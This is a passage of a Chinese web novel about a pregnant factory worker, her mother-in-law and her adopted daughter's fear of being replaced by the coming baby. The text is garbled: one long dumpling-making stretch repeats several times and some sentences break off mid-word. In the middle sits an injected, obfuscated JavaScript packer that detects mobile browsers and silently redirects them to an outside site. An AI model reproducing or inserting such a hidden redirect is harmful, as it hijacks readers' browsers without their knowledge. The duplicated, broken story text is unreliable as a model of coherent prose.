“这事也不太难操作,让他犯错然后调离,给姜爷爷换一个专属大夫。”陆良辰并不是太将这个问题放在心上,毕竟,姜老爷子的身份不怎么敏感。 一个无儿无女没有后人的老人,就算身居高位,也不会引起政敌太多的关注。 “你说得对,等我回去了,和你爷爷还有家里其他人商量一下,看看怎么操作比较好。”何婉仪并不反对儿子说的这样使阴招的想法。 “我早就应该看出来,爷爷似乎没有生存的欲望……”姜海棠十分自责地说道。 “海棠,你不用自责,爷爷他这些年孤独生活,其实从知道了还有你之后,已经好许多了,我们认真给爷爷调理,会好起来的。” 何婉仪无奈地叹息一声:“老爷子倔得很,说什么也不肯住院治疗。他最大的心愿就是能亲眼看到重孙出生……大夫说,也就是老爷子现在心里有牵挂,要不然,只怕已经撑不下去了。” 姜海棠咬着 嘴唇眼泪在眼眶里打转。 爷爷是她最亲的人也是她在这个世上唯一的亲人了。 “妈我想回京城看看爷爷。” “这怎么行!”何婉仪和陆良辰异口同声。 “你现在怀着孕路上颠簸太危险了。”陆良辰坚决地说“要不这样我请假回京一趟把咱们这边的这位中医大夫带过去给爷爷诊脉试试。” 何婉仪也劝道:“是啊海棠你现在最重要的是养好身体。老爷子要是知道你要冒险回去非得骂死我们不可。” 几个人正说着门外突然传来一阵急促的敲门声。 陆良辰打开门只见张晓红满头大汗地站在门口:“陆厂长 陆良辰脸色一变:“怎么会这样?那批出口订单后天就要交货了!” “陆厂长我觉得那位工程师好像根本找不到问题出在哪里。” 姜海棠已经拿起外套:“良辰我跟你一起去看看。” “不行!”何婉仪拦住她“你现在不能去车间那些机器噪音大还有机油味对你和孩子都不好。” 姜海棠坚定地说:“妈我就去看一眼我保证离得远远的。而且我以后还是要上班的孩子才一个多月还有**个月才生我不可能不上班。” 最终何婉仪拗不过儿媳只好同意让她去但尽量离远一点。 纺织厂车间里那台庞大的进口机器像头沉睡的巨兽般静默着。 两个D国工程师正围着机器争论不休但显然两个人谁都没有办法说服谁。 工人们焦急地站在一旁看到姜海棠和陆良辰两个人一起出现的时候总算长舒一口气。 姜海棠也不搭理两个工程师而是仔细观察了一会儿指着机器的一个部位说:“是不是这里的传动齿轮卡住了?” D国工程师惊讶地看了她一眼:“你怎么知道?不会是信口开河胡说八道吧?” “这个型号的机器在设计上有缺陷齿轮间距太近负荷过大时容易卡死。”姜海棠快速说道。 但是显然D国的工程师不愿意承认自己国家的东西有问题。 “你是什么人怎么能这么说?我们国家的设备比你们国家先进太多了你不可能看出我们国家的机器有问题。” “一个女人以为自己什么都知道?” 这会儿两个工程师倒是难得一致的正对姜海棠。 姜海棠也不恼火,这些人,总是觉得自己高高在上。 “你们把左侧第三块面板拆开,调整一下齿轮间距就行,不用全部拆卸。”姜海棠简单的安排了一句。 两个D国的工程师并不相信姜海棠的话,甚至嗤之以鼻。 既然对方不动,黎景程和段长河两个人立即按照姜海棠的指示开始动手。 “你们要干什么?弄坏了机器,你们自己负责吗?” 姜海棠很冷静地回答:“我们自己负责!” 姜海棠说完这一句话,根本 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她轻手轻脚地起床,生怕吵醒还在熟睡的陆良辰。 推开厨房门,她看见何婉仪正系着围裙在和面,灶台上的铁锅里水已经烧开,冒着腾腾热气。 “妈,您怎么起这么早?”姜海棠惊讶地问。 何婉仪回头,脸上沾着一点面粉,笑道:“年纪大了睡不着,想着给你们做顿早饭。我记得良辰小时候最爱吃我做的葱花饼,今天给他露一手。就是不知道你喜欢吃不喜欢。” 姜海棠忙挽起袖子要帮忙:“我来帮您。” “别别别,”何婉仪连忙拦住她,“你现在是双身子,坐着就好。对了,我煮了红枣枸杞茶,你先喝一杯暖暖胃。” 姜海棠心头一暖,顺从地坐在一旁的小板凳上。 晨光透过窗户洒进来,照在何婉仪忙碌的身影上,她忽然想起自己已故的妈妈。 “妈,您别太辛苦了,其实我平时做早饭都很简单的。”姜海棠捧着热茶说。 何婉仪麻利地揉着面团:“这算什么辛苦。倒是你,怀着孕还要上班,那才叫辛苦。”她顿了顿。 “妈,您放心我会照顾好自己的。” “海棠啊,妈知道你是个要强的性子,但该休息的时候一定要休息,别硬撑。我有工作,也没办法长时间留在金城这边。你身子重了以后,一定要请人照顾你,别心疼钱和粮食。” 姜海棠点点头,正想说什么,忽然听见一阵小脚步声。 穿着粉色睡衣的小桃子揉着眼睛站在厨房门口,头发乱蓬蓬的像个小狮子。 “奶奶,妈妈……”小奶音还带着睡意。 第280章 小桃子还是小饺子 “哎哟,我的小乖乖醒啦!”何婉仪立即放下手中的活,蹲下身张开双臂。 小桃子扑进奶奶怀里,何婉仪顺势把她抱起来,在她脸蛋上亲了一口。 姜海棠看着祖孙两个如此亲昵,也忍不住笑。 这要不是知道两个人根本没有血缘关系,说是嫡亲祖孙俩,姜海棠也是相信的。 “奶奶,你在做什么呀?”小桃子好奇地看着案板上的面团。 “奶奶在给你爸爸做葱花饼呢。小桃子想不想吃?” “想!”小桃子立刻精神起来,挣扎着要下来:“奶奶,小桃子想吃,还想做。” 何婉仪有点不敢相信的看着小桃子:“你个小人儿,才几岁,怎么会。” “可是,我学会了,才能给爸爸妈妈做呀!” 虽然知道小家伙肯定学不会,但何婉仪也没有拒绝小孙女的好学。 何婉仪把她放在一张特意垫高的小椅子上,分了一小块面团给她:“来,跟奶奶学揉面。” 姜海棠看着祖孙俩其乐融融的样子,嘴角不自觉上扬。 她注意到何婉仪的动作很轻,耐心地教小桃子怎么用小手揉面团,不时夸奖她做得好。 小桃子一脸认真,学得有模有样,虽然大部分面粉都沾在了她的小手上。 “妈妈,你看我做的饼!”小桃子举起一个歪歪扭扭的小面饼,骄傲地展示。 姜海棠正要夸奖,忽然一阵恶心感涌上来,她连忙捂住嘴冲向了外面。 何婉仪立即放下手中的活跟过去,轻拍她的背,又递上温水。 “这孕吐反应还挺厉害的,”何婉仪心疼地说,“我怀良辰那会儿也是,头三个月吃什么吐什么。我估计这是个臭小子,是个不省心的。” 姜海棠漱了漱口,苦笑道:“其实也还好,不算太难过。” 何婉仪扶她回房休息:“要不今天别去上班了,好好在家歇着。我去给你熬点小米粥,养胃。” 姜海棠摇头:“不行,妈,今天还有其他的事,我得去上班,何况,今天不去,明天也会不想去。 “那就不去了,我们家也不是养不起你一个人,等你生下孩子,再找工作就行。” “妈,不光是为了工资,我也是为了能为厂里做一点贡献。” 何婉仪皱眉想说什么,最终还是叹了口气:“你这孩子……那至少等吃了早饭再去。我给你做点清淡的。” 回到厨房,小桃子还站在小椅子上,眼巴巴地等着奶奶回来继续教她做饼。 何婉仪心头一软,洗了手继续教孙女。 不一会儿,陆良辰也起床了,看见厨房里母亲和女儿一起做早餐的场景,愣了一下,随即露出温暖的笑容。 “妈,您一来,我们家就变得更热闹了。” 何婉仪笑着嗔道:“快去洗漱,一会儿就能吃早饭了。比小桃子和海棠都起来的晚,还好意思!” 早餐桌上,何婉仪的手艺得到了全家人的称赞。 葱花饼外酥里嫩,配上她特制的小咸菜,连食欲不佳的姜海棠都多吃了几口。 小桃子更是把自己做的那块小饼吃得干干净净,骄傲地宣布:“这是我做的!爸爸,我以后要做给你吃哦!” 吃完饭,陆良辰要去上班,姜海棠也收拾文件准备出门。 何婉仪把准备好的保温杯递给她:“里面是红枣茶,记得多喝热水。中午回家吃饭,妈给你做好吃的。” 姜海棠感激地点头:“谢谢妈。小桃子今天就拜托您了。” “放心吧,我和小桃子有好多事要做呢!我们祖孙可好了,是不是啊,小桃子。”何婉仪笑着挥手。 等大人们都出门后,小桃子迫不及待地拉着奶奶的手:“奶奶,我们今天玩什么呀?” 何婉仪神秘地眨眨眼:“首先,奶奶要给你梳个漂亮的辫子,然后我们去买菜,回来奶奶教你包饺子好不好?” “好!”小桃子欢呼雀跃,立刻跑去拿梳子。 何婉仪的手很巧,不一会儿就给小桃子编了两个精致的小辫子,还系上了红色的头绳。小桃子对着镜子左照右照,高兴得不得了。 “奶奶好厉害!妈妈都不会编这种辫子。” 何婉仪摸摸她的头:“那是因为妈妈小时候没有姐妹,没人教她。等妈妈回来,奶奶也教她编辫子好不好?” 小桃子用力点头,忽然想到什么,跑进房间拿出一个布娃娃:“奶奶,给娃娃也梳辫子吧!” 就这样,一老一小度过了一个愉快的上午。 何婉仪发现小桃子虽然活泼好动,但很听话,教她什么都能很快学会。 买菜时,小桃子像个小大人似的帮奶奶拎着菜篮子,遇到熟人还会主动介绍:“这是我奶奶,从京城来的哦,您去过京城吗?可远可远了!” 中午,何婉仪正准备做饭,姜海棠却意外地回来了,脸色有些苍白。 “海棠,怎么了?不舒服吗?”何婉仪连忙上前扶她。 姜海棠勉强笑笑:“工作提前结束了,我有点头晕,就请 了假。” 何婉仪立刻让她躺下,给她倒了杯温水,又拿来湿毛巾敷在她额头上:“是不是又吐了?早上吃的东西都吐光了?” 姜海棠点点头,有些歉意地说:“对不起妈,让您担心了。” “傻孩子,这有什么好道歉的。”何婉仪心疼地说,“你先休息会儿,我去给你熬点粥。” 小桃子乖巧地坐在妈妈床边,学着奶奶的样子用小手摸摸妈妈的额头:“妈妈不难受,小桃子给你讲故事哦,小桃子生病难受的时候,听爸爸妈妈讲故事就好了。” 姜海棠微笑着握住女儿的小手:“好啊,妈妈想听小桃子讲故事。” 何婉仪在厨房里边熬粥边听着房间里孙女稚嫩的讲故事声和儿媳偶尔的回应,心里既温暖又酸楚。 她知道姜海棠一直很要强,工作上从不含糊,如今怀孕了还这么拼命,让她这个做婆婆的看了心疼。 粥熬好后,何婉仪特意放了些开胃的酸梅酱,端到姜海棠床前。 小桃子立即自告奋勇:“我来喂妈妈!” “小桃子真懂事。”何婉仪夸奖道,把碗递给她,但还是在一旁小心地看着,生怕烫着。 姜海棠被女儿笨拙但认真的喂食动作感动,勉强吃了几口。 何婉仪看她实在没胃口,也不勉强,只是说:“多少再喝点汤,然后好好睡一觉。小桃子,让妈妈休息,奶奶带你去包饺子好不好?” 小桃子点点头,在妈妈脸上亲了一下:“妈妈好好睡觉,睡醒就能吃小桃子包的饺子了!” 等姜海棠睡下,何婉仪带着小桃子在厨房里忙活起来。她分了一小块面团给小桃子,教她怎么擀饺子皮。 小桃子学得很认真,虽然擀出来的皮厚薄不一,形状也千奇百怪,但何婉仪都一一表扬,还用她擀的皮包了几个特殊的“小桃子饺子”。 “奶奶,为什么你的饺子能站起来,我的都躺着了?”小桃子小脸皱巴巴的,显然对于自己的成品不满意。 明明都是跟着奶奶做的,为什么自己做出来就变成这样了? 何婉仪笑着解释:“因为奶奶捏的褶子多呀。来,我教你。” 就在祖孙俩包得不亦乐乎时,陆良辰下班回来了。 看到厨房里的场景,他惊讶地问:“妈,今天什么日子,包这么多饺子?” 何婉仪把姜海棠不舒服的事说了,陆良辰立刻要去卧室,被何婉仪拦住。 “刚睡着,别吵醒她。你来帮忙包饺子吧,小桃子可厉害了,都能包出像 模像样的饺子了。” 何婉仪到了这时候,还不忘记夸奖过一句小桃子,小桃子听着高兴的不得了,就差蹦蹦跳跳了。 陆良辰洗了手加入包饺子的行列,看着女儿认真的小脸,忍不住逗她:“小桃子,你包的这是饺子还是小桃子啊?” 小桃子嘟起嘴:“是饺子!爸爸坏!才不是小桃子!” 何婉仪拍了儿子一下:“别笑话我孙女,她第一次包能这样已经很棒了。你小时候还不如小桃子呢。” 陆良辰赶紧道歉,小桃子这才转怒为喜,还得意地展示自己包的一个特别小的饺子:“这是给娃娃吃的!” 陆良辰也开始包饺子,然后发现,那软哒哒的面皮在手里根本不听指挥。 折腾了好半天的时间,终究还是没能包出一个漂亮的饺子,这时候,就轮到小桃子笑话陆良辰了。 “哈哈哈,爸爸包的饺子比我包的还丑!” 陆良辰被女儿笑话,用沾了面粉的手捏了一下她的鼻子,小桃子的鼻子就变成白的了。 “你这么大个人,欺负我孙女儿干什么?看你这出息!” 陆良辰忽然发现,好像不管怎么样都是自己的不是! 他笑话了小桃子,是他的错,小桃子笑话他,为什么还是他的错? 姜海棠醒来时,闻到满屋子的饺子香。 她走到厨房,看见何婉仪正在煮饺子,陆良辰在拌凉菜,小桃子则坐在一旁的小板凳上,认真地摆放碗筷。 “醒啦?感觉好些了吗?”陆良辰第一个发现她,走过来关切地问。 姜海棠点点头:“睡了一觉,好多了。你们包了这么多饺子啊。” 小桃子跑过来拉住妈妈的手:“妈妈,我包饺子了!奶奶说我可棒了!” 姜海棠笑着摸摸女儿的头:“小桃子真能干。“ 何婉仪盛了一碗饺子汤递给她:“先喝点汤暖暖胃,饺子马上就好。我给你单独煮了素馅的,怕你闻不了肉味。” 姜海棠接过碗,心里涌起一阵暖流。 她何其有幸,遇到了这样的婆婆。 吃饭的时候,小桃子迫不及待地要大家尝她包的饺子。 虽然样子丑了已电联,有些还煮破了皮,但大家都吃得津津有味,连连夸奖。 何婉仪还特意把“小桃子饺子”都挑出来放在她碗里,让小丫头得意极了。 饭后,陆良辰主动去洗碗,何婉仪则拿出毛线,开始织一件小毛衣。姜海棠好奇地问:“妈,这是给谁织的?“ “给你肚子里的小宝贝啊,”何婉仪笑着说,“不知道是男孩还是女孩,我就选了黄色的毛线,男女都能穿。” 小桃子凑过来:“奶奶,我也要学!” 模像样的饺子了。” 何婉仪到了这时候,还不忘记夸奖过一句小桃子,小桃子听着高兴的不得了,就差蹦蹦跳跳了。 陆良辰洗了手加入包饺子的行列,看着女儿认真的小脸,忍不住逗她:“小桃子,你包的这是饺子还是小桃子啊?” 小桃子嘟起嘴:“是饺子!爸爸坏!才不是小桃子!” 何婉仪拍了儿子一下:“别笑话我孙女,她第一次包能这样已经很棒了。你小时候还不如小桃子呢。” 陆良辰赶紧道歉,小桃子这才转怒为喜,还得意地展示自己包的一个特别小的饺子:“这是给娃娃吃的!” 陆良辰也开始包饺子,然后发现,那软哒哒的面皮在手里根本不听指挥。 折腾了好半天的时间,终究还是没能包出一个漂亮的饺子,这时候,就轮到小桃子笑话陆良辰了。 “哈哈哈,爸爸包的饺子比我包的还丑!” 陆良辰被女儿笑话,用沾了面粉的手捏了一下她的鼻子,小桃子的鼻子就变成白的了。 “你这么大个人,欺负我孙女儿干什么?看你这出息!” 陆良辰忽然发现,好像不管怎么样都是自己的不是! 他笑话了小桃子,是他的错,小桃子笑话他,为什么还是他的错? 姜海棠醒来时,闻到满屋子的饺子香。 她走到厨房,看见何婉仪正在煮饺子,陆良辰在拌凉菜,小桃子则坐在一旁的小板凳上,认真地摆放碗筷。 “醒啦?感觉好些了吗?”陆良辰第一个发现她,走过来关切地问。 姜海棠点点头:“睡了一觉,好多了。你们包了这么多饺子啊。” 小桃子跑过来拉住妈妈的手:“妈妈,我包饺子了!奶奶说我可棒了!” 姜海棠笑着摸摸女儿的头:“小桃子真能干。“ 何婉仪盛了一碗饺子汤递给她:“先喝点汤暖暖胃,饺子马上就好。我给你单独煮了素馅的,怕你闻不了肉味。” 姜海棠接过碗,心里涌起一阵暖流。 她何其有幸,遇到了这样的婆婆。 吃饭的时候,小桃子迫不及待地要大家尝她包的饺子。 虽然样子丑了已电联,有些还煮破了皮,但大家都吃得津津有味,连连夸奖。 何婉仪还特意把“小桃子饺子”都挑出来放在她碗里,让小丫头得意极了。 饭后,陆良辰主动去洗碗,何婉仪则拿出毛线,开始织一件小毛衣。姜海棠好奇地问:“妈,这是给谁织的?“ “给你肚子里的小宝贝啊,”何婉仪笑着说,“不知道是男孩还是女孩,我就选了黄色的毛线,男女都能穿。” 小桃子凑过来:“奶奶,我也要学!” 模像样的饺子了。” 何婉仪到了这时候,还不忘记夸奖过一句小桃子,小桃子听着高兴的不得了,就差蹦蹦跳跳了。 陆良辰洗了手加入包饺子的行列,看着女儿认真的小脸,忍不住逗她:“小桃子,你包的这是饺子还是小桃子啊?” 小桃子嘟起嘴:“是饺子!爸爸坏!才不是小桃子!” 何婉仪拍了儿子一下:“别笑话我孙女,她第一次包能这样已经很棒了。你小时候还不如小桃子呢。” 陆良辰赶紧道歉,小桃子这才转怒为喜,还得意地展示自己包的一个特别小的饺子:“这是给娃娃吃的!” 陆良辰也开始包饺子,然后发现,那软哒哒的面皮在手里根本不听指挥。 折腾了好半天的时间,终究还是没能包出一个漂亮的饺子,这时候,就轮到小桃子笑话陆良辰了。 “哈哈哈,爸爸包的饺子比我包的还丑!” 陆良辰被女儿笑话,用沾了面粉的手捏了一下她的鼻子,小桃子的鼻子就变成白的了。 “你这么大个人,欺负我孙女儿干什么?看你这出息!” 陆良辰忽然发现,好像不管怎么样都是自己的不是! 他笑话了小桃子,是他的错,小桃子笑话他,为什么还是他的错? 姜海棠醒来时,闻到满屋子的饺子香。 她走到厨房,看见何婉仪正在煮饺子,陆良辰在拌凉菜,小桃子则坐在一旁的小板凳上,认真地摆放碗筷。 “醒啦?感觉好些了吗?”陆良辰第一个发现她,走过来关切地问。 姜海棠点点头:“睡了一觉,好多了。你们包了这么多饺子啊。” 小桃子跑过来拉住妈妈的手:“妈妈,我包饺子了!奶奶说我可棒了!” 姜海棠笑着摸摸女儿的头:“小桃子真能干。“ 何婉仪盛了一碗饺子汤递给她:“先喝点汤暖暖胃,饺子马上就好。我给你单独煮了素馅的,怕你闻不了肉味。” 姜海棠接过碗,心里涌起一阵暖流。 她何其有幸,遇到了这样的婆婆。 吃饭的时候,小桃子迫不及待地要大家尝她包的饺子。 虽然样子丑了已电联,有些还煮破了皮,但大家都吃得津津有味,连连夸奖。 何婉仪还特意把“小桃子饺子”都挑出来放在她碗里,让小丫头得意极了。 饭后,陆良辰主动去洗碗,何婉仪则拿出毛线,开始织一件小毛衣。姜海棠好奇地问:“妈,这是给谁织的?“ “给你肚子里的小宝贝啊,”何婉仪笑着说,“不知道是男孩还是女孩,我就选了黄色的毛线,男女都能穿。” 小桃子凑过来:“奶奶,我也要学!” 模像样的饺子了。” 何婉仪到了这时候,还不忘记夸奖过一句小桃子,小桃子听着高兴的不得了,就差蹦蹦跳跳了。 陆良辰洗了手加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16122835|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入包饺子的行列,看着女儿认真的小脸,忍不住逗她:“小桃子,你包的这是饺子还是小桃子啊?” 小桃子嘟起嘴:“是饺子!爸爸坏!才不是小桃子!” 何婉仪拍了儿子一下:“别笑话我孙女,她第一次包能这样已经很棒了。你小时候还不如小桃子呢。” 陆良辰赶紧道歉,小桃子这才转怒为喜,还得意地展示自己包的一个特别小的饺子:“这是给娃娃吃的!” 陆良辰也开始包饺子,然后发现,那软哒哒的面皮在手里根本不听指挥。 折腾了好半天的时间,终究还是没能包出一个漂亮的饺子,这时候,就轮到小桃子笑话陆良辰了。 “哈哈哈,爸爸包的饺子比我包的还丑!” 陆良辰被女儿笑话,用沾了面粉的手捏了一下她的鼻子,小桃子的鼻子就变成白的了。 “你这么大个人,欺负我孙女儿干什么?看你这出息!” 陆良辰忽然发现,好像不管怎么样都是自己的不是! 他笑话了小桃子,是他的错,小桃子笑话他,为什么还是他的错? 姜海棠醒来时,闻到满屋子的饺子香。 她走到厨房,看见何婉仪正在煮饺子,陆良辰在拌凉菜,小桃子则坐在一旁的小板凳上,认真地摆放碗筷。 “醒啦?感觉好些了吗?”陆良辰第一个发现她,走过来关切地问。 姜海棠点点头:“睡了一觉,好多了。你们包了这么多饺子啊。” 小桃子跑过来拉住妈妈的手:“妈妈,我包饺子了!奶奶说我可棒了!” 姜海棠笑着摸摸女儿的头:“小桃子真能干。“ 何婉仪盛了一碗饺子汤递给她:“先喝点汤暖暖胃,饺子马上就好。我给你单独煮了素馅的,怕你闻不了肉味。” 姜海棠接过碗,心里涌起一阵暖流。 她何其有幸,遇到了这样的婆婆。 吃饭的时候,小桃子迫不及待地要大家尝她包的饺子。 虽然样子丑了已电联,有些还煮破了皮,但大家都吃得津津有味,连连夸奖。 何婉仪还特意把“小桃子饺子”都挑出来放在她碗里,让小丫头得意极了。 饭后,陆良辰主动去洗碗,何婉仪则拿出毛线,开始织一件小毛衣。姜海棠好奇地问:“妈,这是给谁织的?“ “给你肚子里的小宝贝啊,”何婉仪笑着说,“不知道是男孩还是女孩,我就选了黄色的毛线,男女都能穿。” 小桃子凑过来:“奶奶,我也要学!” 模像样的饺子了。” 何婉仪到了这时候,还不忘记夸奖过一句小桃子,小桃子听着高兴的不得了,就差蹦蹦跳跳了。 陆良辰洗了手加入包饺子的行列,看着女儿认真的小脸,忍不住逗她:“小桃子,你包的这是饺子还是小桃子啊?” 小桃子嘟起嘴:“是饺子!爸爸坏!才不是小桃子!” 何婉仪拍了儿子一下:“别笑话我孙女,她第一次包能这样已经很棒了。你小时候还不如小桃子呢。” 陆良辰赶紧道歉,小桃子这才转怒为喜,还得意地展示自己包的一个特别小的饺子:“这是给娃娃吃的!” 陆良辰也开始包饺子,然后发现,那软哒哒的面皮在手里根本不听指挥。 折腾了好半天的时间,终究还是没能包出一个漂亮的饺子,这时候,就轮到小桃子笑话陆良辰了。 “哈哈哈,爸爸包的饺子比我包的还丑!” 陆良辰被女儿笑话,用沾了面粉的手捏了一下她的鼻子,小桃子的鼻子就变成白的了。 “你这么大个人,欺负我孙女儿干什么?看你这出息!” 陆良辰忽然发现,好像不管怎么样都是自己的不是! 他笑话了小桃子,是他的错,小桃子笑话他,为什么还是他的错? 姜海棠醒来时,闻到满屋子的饺子香。 她走到厨房,看见何婉仪正在煮饺子,陆良辰在拌凉菜,小桃子则坐在一旁的小板凳上,认真地摆放碗筷。 “醒啦?感觉好些了吗?”陆良辰第一个发现她,走过来关切地问。 姜海棠点点头:“睡了一觉,好多了。你们包了这么多饺子啊。” 小桃子跑过来拉住妈妈的手:“妈妈,我包饺子了!奶奶说我可棒了!” 姜海棠笑着摸摸女儿的头:“小桃子真能干。“ 何婉仪盛了一碗饺子汤递给她:“先喝点汤暖暖胃,饺子马上就好。我给你单独煮了素馅的,怕你闻不了肉味。” 姜海棠接过碗,心里涌起一阵暖流。 她何其有幸,遇到了这样的婆婆。 吃饭的时候,小桃子迫不及待地要大家尝她包的饺子。 虽然样子丑了已电联,有些还煮破了皮,但大家都吃得津津有味,连连夸奖。 何婉仪还特意把“小桃子饺子”都挑出来放在她碗里,让小丫头得意极了。 饭后,陆良辰主动去洗碗,何婉仪则拿出毛线,开始织一件小毛衣。姜海棠好奇地问:“妈,这是给谁织的?“ “给你肚子里的小宝贝啊,”何婉仪笑着说,“不知道是男孩还是女孩,我就选了黄色的毛线,男女都能穿。” 小桃子凑过来:“奶奶,我也要学!” 模像样的饺子了。” 何婉仪到了这时候,还不忘记夸奖过一句小桃子,小桃子听着高兴的不得了,就差蹦蹦跳跳了。 陆良辰洗了手加入包饺子的行列,看着女儿认真的小脸,忍不住逗她:“小桃子,你包的这是饺子还是小桃子啊?” 小桃子嘟起嘴:“是饺子!爸爸坏!才不是小桃子!” 何婉仪拍了儿子一下:“别笑话我孙女,她第一次包能这样已经很棒了。你小时候还不如小桃子呢。” 陆良辰赶紧道歉,小桃子这才转怒为喜,还得意地展示自己包的一个特别小的饺子:“这是给娃娃吃的!” 陆良辰也开始包饺子,然后发现,那软哒哒的面皮在手里根本不听指挥。 折腾了好半天的时间,终究还是没能包出一个漂亮的饺子,这时候,就轮到小桃子笑话陆良辰了。 “哈哈哈,爸爸包的饺子比我包的还丑!” 陆良辰被女儿笑话,用沾了面粉的手捏了一下她的鼻子,小桃子的鼻子就变成白的了。 “你这么大个人,欺负我孙女儿干什么?看你这出息!” 陆良辰忽然发现,好像不管怎么样都是自己的不是! 他笑话了小桃子,是他的错,小桃子笑话他,为什么还是他的错? 姜海棠醒来时,闻到满屋子的饺子香。 她走到厨房,看见何婉仪正在煮饺子,陆良辰在拌凉菜,小桃子则坐在一旁的小板凳上,认真地摆放碗筷。 “醒啦?感觉好些了吗?”陆良辰第一个发现她,走过来关切地问。 姜海棠点点头:“睡了一觉,好多了。你们包了这么多饺子啊。” 小桃子跑过来拉住妈妈的手:“妈妈,我包饺子了!奶奶说我可棒了!” 姜海棠笑着摸摸女儿的头:“小桃子真能干。“ 何婉仪盛了一碗饺子汤递给她:“先喝点汤暖暖胃,饺子马上就好。我给你单独煮了素馅的,怕你闻不了肉味。” 姜海棠接过碗,心里涌起一阵暖流。 她何其有幸,遇到了这样的婆婆。 吃饭的时候,小桃子迫不及待地要大家尝她包的饺子。 虽然样子丑了已电联,有些还煮破了皮,但大家都吃得津津有味,连连夸奖。 何婉仪还特意把“小桃子饺子”都挑出来放在她碗里,让小丫头得意极了。 饭后,陆良辰主动去洗碗,何婉仪则拿出毛线,开始织一件小毛衣。姜海棠好奇地问:“妈,这是给谁织的?“ “给你肚子里的小宝贝啊,”何婉仪笑着说,“不知道是男孩还是女孩,我就选了黄色的毛线,男女都能穿。” 小桃子凑过来:“奶奶,我也要学!” 第281章 敏感的小桃子 何婉仪便给她两根毛线针和一团毛线教她最简单的平针。 小桃子学得很认真只可惜人太小一双小手用尽全力也没能织出成功的毛线针。 小桃子看着奶奶灵巧的手指翻飞 她知道那是奶奶给妈妈肚子里小宝宝的期待和爱。 小桃子心里那点小小的挫败感像被揉皱的纸团塞在心口闷闷的。 妈妈有新的小宝宝了她知道自己不是妈妈亲生的宝宝已经很害怕了。 可是现在连毛线都欺负她根本不听她的话。 她不会包饺子也不会织毛衣是不是很没用啊? 她该怎么做才能让妈妈觉得自己有用呢? 小丫头皱着小眉头一直思索着一双漂亮的大眼睛里忽然就升起水雾。 “妈妈……”小桃子丢掉那两根让她泄气的毛线针挪着小步子蹭到姜海棠身边小心翼翼的喊了一声妈妈。 姜海棠有点奇怪但还是把小家伙的抱在怀里。 小桃子的小脑袋埋进妈妈怀里声音闷闷的“小桃子是不是……笨笨的?” 姜海棠听到女儿带着委屈的声音心尖一颤。 她立刻把女儿抱到腿上温柔地抚摸着她的小辫子。 “怎么会呢?我们小桃子最聪明了。你看你今天包的饺子爸爸都说好吃对不对?织毛衣是大孩子才能做的事我们小桃子还小呢小手手力气不够等小桃子再长大一点肯定能学会比奶奶织得还好看!” 小桃子依偎在妈妈温暖的怀抱里闻着妈妈身上熟悉的味道心里的委屈稍微散开了一点点。 但她还是很不安小手手攥着妈妈的衣角。 她抬起小脸大眼睛里盛满了困惑和一丝不易察觉的惶恐小声问:“妈妈……等小宝宝出来……你还会抱小桃子吗?还会喜欢小桃子吗?” 这句话问得小心翼翼像羽毛轻轻拂过姜海棠的心却带来一阵尖锐的酸楚。 她瞬间明白了女儿这段时间为什么会异常“勤快”学做饼、包饺子、甚至试图织毛衣原来都是这个小小的她在努力证明自己的价值。 小丫头是很聪明的她知道她不是亲生的女儿害怕有了亲生的孩子之后被取代害怕失去这份来之不易的爱。 “傻宝贝!”姜海棠的声音带着哽咽更紧地抱住了女儿下巴轻轻蹭着她的发顶。 何婉仪 本来还没闹明白小桃子怎么忽然如此反常现在大概也是看明白了。 她的脸色稍微有些不好看。 姜海棠很耐心的对小桃子说道:“你是妈妈的第一个宝贝是妈妈心尖尖上的小桃子啊!小宝宝来了是来和小桃子做伴的是来爱姐姐的。” “就算有了弟弟和妹妹妈妈给小桃子的爱不会少只会更多!妈妈会抱小桃子也会抱小宝宝就像奶奶爱爸爸也爱小桃子一样多!永远不会变少!” 何婉仪手里的动作早就停了心也跟着揪了起来。 她放下毛线针坐到了小桃子身边伸出温暖粗糙的手轻轻握住小桃子的小手。 “小桃子看奶奶。”何婉仪的声音慈爱而坚定“奶奶的心啊就像一个大大的口袋。以前里面装着爸爸和大伯后来啊口袋变大了 她用手比划着做了一个大大的、拥抱的动作“你看口袋越装越满越装越大装下的人越来越多但奶奶对每一个人的爱都是满满的一点都不会少!” 何婉仪看着小桃子似懂非懂的大眼睛继续柔声道:“奶奶给小宝宝织毛衣是因为小宝宝太小了怕冷。我们小桃子啊奶奶也记着呢!” 她站起身走到放毛线的篮子边从里面拿出另一团更鲜艳的、粉紫色的毛线“看奶奶早就买好了!这是给小桃子织新毛衣的线!奶奶要给我们小桃子织一件最漂亮、最暖和的毛衣!比小宝宝的还要大还要好看!因为小桃子是姐姐呀!” 小桃子的眼睛瞬间被那团漂亮的粉紫色点亮了像落入了星星。 她看看奶奶手里的新毛线又看看妈妈温柔肯定的眼神心里的阴霾终于被驱散了。原来她没有被忘记奶奶的爱也有她的一份而且是“最大”、“最漂亮”的一份! “真的吗奶奶?”小桃子从妈妈怀里溜下来扑到何婉仪腿边仰着小脸满是期待:“可是可是……” “可是什么?”何婉仪问。 “他们说等爸爸妈妈有了亲生的孩子就不喜欢小桃子了!” 何婉仪脸色稍变果然是有人在小桃子跟前说三道四了。 “小桃子不会的奶奶有因为哥哥们而不喜欢小桃子吗?”何婉仪低声柔和的问着。 小桃子摇摇头。 “那爸爸和妈妈怎么会因为有了小宝宝就不喜欢小桃子呢?”姜海棠拉着小桃子 的手笑着说:“不管什么时候,爸爸妈妈都会和以前一样爱着小桃子。” “可是,以前的妈妈就是因为有了新的小宝宝,才不要小桃子的,小桃子才会跟着赵凯叔叔到爸爸妈妈的家里……” 小桃子的声音越说越低。 姜海棠心里一惊,原本以为,小桃子是不知道这些事的,可从小桃子这话里才知道,小丫头一直都知道,而且,当初亲生母亲不要他,在她心里留下了伤痕。 “不是的,小桃子,你的亲生妈妈也爱你,只是,她觉得,小桃子到了爸爸妈妈这里可以得到更多的爱!” 